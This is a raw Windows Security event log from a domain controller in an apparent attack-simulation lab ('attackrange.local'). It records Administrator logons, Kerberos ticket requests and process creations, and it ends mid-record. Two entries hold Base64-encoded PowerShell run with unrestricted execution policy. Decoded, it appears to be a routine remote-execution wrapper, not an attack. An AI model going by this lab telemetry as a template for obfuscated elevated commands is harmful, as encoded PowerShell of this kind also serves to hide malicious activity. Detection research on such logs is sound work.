-LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250463 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x10E1DB - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250462 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x10E1DB - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {CEF9BB43-2DC3-CA86-F3F5-318A049BE17D} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250461 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {CEF9BB43-2DC3-CA86-F3F5-318A049BE17D} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250460 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {CEF9BB43-2DC3-CA86-F3F5-318A049BE17D} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250459 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250458 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x10DF8B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1278 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1204 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250457 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x10DF8B - -Process Information: - New Process ID: 0x1204 - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1e0 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250456 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x10DF8B - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250455 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x10DF8B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {CEF9BB43-2DC3-CA86-F3F5-318A049BE17D} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250454 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {CEF9BB43-2DC3-CA86-F3F5-318A049BE17D} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250453 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {CEF9BB43-2DC3-CA86-F3F5-318A049BE17D} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250452 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250568 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11046E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1308 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x13c4 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250567 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x112531 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250566 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x112531 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {4AF714D3-6FE6-78C4-BD0F-98FF3F9F6ADB} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250565 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {4AF714D3-6FE6-78C4-BD0F-98FF3F9F6ADB} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250564 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {4AF714D3-6FE6-78C4-BD0F-98FF3F9F6ADB} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250563 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250562 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11046E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13c4 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x570 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250561 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11046E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x570 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 